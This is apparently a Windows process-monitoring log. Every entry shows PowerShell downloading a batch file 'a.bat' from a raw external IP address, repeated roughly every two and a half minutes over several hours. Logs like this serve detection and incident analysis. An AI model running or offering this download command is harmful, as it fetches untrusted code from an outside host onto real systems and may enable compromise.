C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:22:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:25:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:27:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:30:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:32:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:35:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:37:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:40:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:42:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:45:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:47:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:50:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:52:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:55:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 17:57:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:00:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:02:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:05:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:07:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:10:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:12:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:15:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:17:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:20:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:22:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:25:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:27:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:30:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:32:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:35:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:37:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:40:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:42:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:45:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:48:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:50:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:53:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:55:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 18:58:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:00:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:03:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:05:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:08:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:10:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:13:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:15:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:18:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:20:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:23:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:25:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:28:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:30:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:33:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:35:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:38:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:40:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:43:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:45:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:48:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:50:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:53:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:55:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 19:58:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:00:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:03:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:05:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:08:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:10:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:13:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:15:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:18:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:20:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:23:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:25:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:28:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:30:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:33:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:35:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:38:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:40:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:43:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:45:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:48:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:50:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:53:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:55:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 20:58:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:00:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:03:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:05:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:08:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:10:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:13:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:15:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:18:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:20:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:23:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:25:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:28:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:30:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:33:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:35:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:38:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:40:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:43:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:45:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:48:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:50:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:53:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:55:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 21:58:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:00:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:03:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:05:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:08:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:10:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:13:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:15:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:18:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:20:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:23:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:25:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:28:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:30:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:33:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:35:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:38:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:40:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:43:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:45:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:48:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:50:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:53:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:56:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 22:58:30 NOTIFY: PROCESS 